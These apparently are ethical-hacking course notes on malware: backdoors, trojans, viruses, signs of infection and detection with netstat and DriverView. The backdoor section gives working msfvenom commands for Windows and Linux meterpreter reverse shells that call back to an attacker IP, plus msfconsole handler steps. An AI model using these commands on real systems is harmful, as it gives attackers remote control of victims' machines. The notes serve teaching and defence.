07 Malware Threats

What is a malware?

The malware is a program in which the malicious or harmful code is contained inside apparently harmless programming or data in such a way that it can get control and cause damage, such as ruining the file allocation table on your hard disk etc.

Examples : Viruses, Worms, Adware, Spyware, Ransomware, Backdoors and Trojans

Backdoor

A backdoor in a computer system is a method of bypassing normal authentication, securing unauthorized remote access to a computer, obtaining access to plaintext and so on, while attempting to remain undetected.

Creating backdoor using msfvenom

- msfvenom -p <name of payload> LHOST=<Attackerr IP> LPORT=<Attacker port> -f format -o <output_filename.format>
- For Windows OS,

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=54321 -f exe -o backdoor.exe

- For Linux,

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=34567 -f elf -o backdoor.elf

Accessing backdoor with msfconsole

```
service postgresql start

msfconsole

use multi/handler

set payload <payload name>

set LHOST <Attacker IP>

Set LPORT <Attacker port>

exploit
```

Trojans

It is a program which looks and behaves like a good file in terms of filename and extension, but when victim believes it as a good file and executes, it steals victim's information and sends it back to attacker

Indications of a trojan attack

- CD ROM drawer opens and closes by itself
- Computer browser gets redirected to unknown pages
- Strange chat boxes appear on targets computer
- Strange documents or messages are printed from the printer
- Mouse key functions get reversed
- Abnormal activity by modem, network adapter or hard drive
- Account passwords get changed by themselves
- ISP complains tro target that his or her computer is performing scanning activity

Different ways to infect a target

- Physical Access
- Spreading as fake programs
- USB drives
- E Mail attachments

and there can be many more....

How to verify your suspicion in case of trojan attack

- Scan for suspicious open ports

Administrator: C:\Windows\System32\cmd.exe

```
C:\Windows\system32>netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       740
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING       396
  TCP    0.0.0.0:1026           0.0.0.0:0              LISTENING       832
  TCP    0.0.0.0:1027           0.0.0.0:0              LISTENING       508
  TCP    0.0.0.0:1028           0.0.0.0:0              LISTENING       908
  TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING       496
  TCP    0.0.0.0:1030           0.0.0.0:0              LISTENING       2044
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       1164
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:8034         0.0.0.0:0              LISTENING       4
  TCP    169.254.164.106:139    0.0.0.0:0              LISTENING       4
  TCP    192.168.0.108:139      0.0.0.0:0              LISTENING       4
  TCP    192.168.0.108:1400     192.168.0.106:54321    SYN_SENT        3904
  TCP    192.168.0.108:1537     23.208.223.171:80      CLOSE_WAIT      2944
  TCP    192.168.0.108:1552     151.101.0.134:443      ESTABLISHED     2944
  TCP    192.168.0.108:1553     151.101.0.134:443      ESTABLISHED     2944
  TCP    192.168.0.108:1554     151.101.0.134:443      ESTABLISHED     2944
  TCP    [::]:135               [::]:0                 LISTENING       740
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:1025              [::]:0                 LISTENING       396
  TCP    [::]:1026              [::]:0                 LISTENING       832
  TCP    [::]:1027              [::]:0                 LISTENING       508
  TCP    [::]:1028              [::]:0                 LISTENING       908
  TCP    [::]:1029              [::]:0                 LISTENING       496
  TCP    [::]:1030              [::]:0                 LISTENING       2044
  TCP    [::]:3389              [::]:0                 LISTENING       1164
  TCP    [::]:5357              [::]:0                 LISTENING       4
  UDP    0.0.0.0:500            *:*                                    908
  UDP    0.0.0.0:3702           *:*                                    1524
  UDP    0.0.0.0:3702           *:*                                    1524
  UDP    0.0.0.0:4500           *:*                                    908
  UDP    0.0.0.0:5353           *:*                                    2944
  UDP    0.0.0.0:5353           *:*                                    2944
  UDP    0.0.0.0:5353           *:*                                    2944
  UDP    0.0.0.0:5353           *:*                                    2944
  UDP    0.0.0.0:5355           *:*                                    1164
  UDP    0.0.0.0:54576          *:*                                    1524
  UDP    0.0.0.0:56126          *:*                                    2944
  UDP    0.0.0.0:59548          *:*                                    2944
  UDP    0.0.0.0:63051          *:*                                    2944
  UDP    127.0.0.1:1900         *:*                                    1524
  UDP    127.0.0.1:59518        *:*                                    1524
  UDP    169.254.164.106:137    *:*                                    4
  UDP    169.254.164.106:138    *:*                                    4
  UDP    169.254.164.106:1900   *:*                                    1524
  UDP    169.254.164.106:59516  *:*                                    1524
  UDP    192.168.0.108:137      *:*                                    4
  UDP    192.168.0.108:138      *:*                                    4
  UDP    192.168.0.108:1900     *:*                                    1524
  UDP    192.168.0.108:59517    *:*                                    1524
  UDP    [::]:500               *:*                                    908
```

- Check for all running processes and try to find if you can see any suspicious process, there may be some processes which may run in multiple copies, and if you're unsure about who that process belongs to just dont kill or end it. Try google to find out if it is a legitimate process for normal system function or not.
- You can also use some external tools like process monitor from https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

- Checking for suspicious drivers
- You can use a tools like DriverView to check for any suspicious drivers
- DriverView utility displays the list of all device drivers currently loaded on your system. For each driver in the list, additional useful information is displayed: load address of the driver, description, version, product name, company that created the driver, and more.

DriverView

File Edit View Help

Driver N...	Address	File Type	Description	Version
ftdisk.sys	0xBFFBB000	System Driver	FT Disk Driver	5.00.2195.6697
Gernuwa.sys	0xED418000	System Driver	pcAnywhere AWUNREG Driver	9.2.1
hal.dll	0x80062000	Dynamic Link Library	Hardware Abstraction Layer DLL	5.00.2195.6691
i8042prt.sys	0xED060000	System Driver	i8042 Port Driver	5.00.2195.6655
ipnat.sys	0xB524F000	Network Driver	IP Network Address Translator	5.00.2195.6616
ipsec.sys	0xB52B0000	Network Driver	IPSEC Driver (US/Canada Only, Not for ...	5.00.2195.6655
isapnp.sys	0xED010000	System Driver	PNP ISA Bus Driver	5.00.2195.6655
kbdclass.sys	0xED2D8000	System Driver	Keyboard Class Driver	5.00.2195.6666
kmixer.sys	0xB49A0000	Dynamic Link Library	Kernel Mode Audio Mixer	5.00.2195.6655
KS.SYS	0xBFD43000	Driver	Kernel CSA Library	5.3.0000000.9...
KSecDD.sys	0xBFF71000	System Driver	Kernel Security Support Provider Interface	5.00.2195.6695
mmc_2K.SYS	0xED3C8000	System Driver	CD-R/RW AddOn MMC Driver (W2K)	5.10 (115)

106 item(s), 1 Selected

Creating Trojan with Darkcomet

Viruses

VIRUS stands for Vital Information Resource Under Sieze

And thus, the definition of virus is simplified as a program created with intent of destroying or damaging something

Creating a virus using batch file program

Batch file programs are useful to automate several jobs in Windows Operating system, which eases the task of system administrators by running a single file instread of executing every command one after the other.

Hackers use these to create programs which can destroy data on victim or consume all their PC resources to make the PC either crash or slow it down

People who have programming knowledge can create their own viruses easily

Creating simple batch file viruses

- FileBomber
- ApplicationBomber
- MessageBomber
- Demo of viruses that use VBScript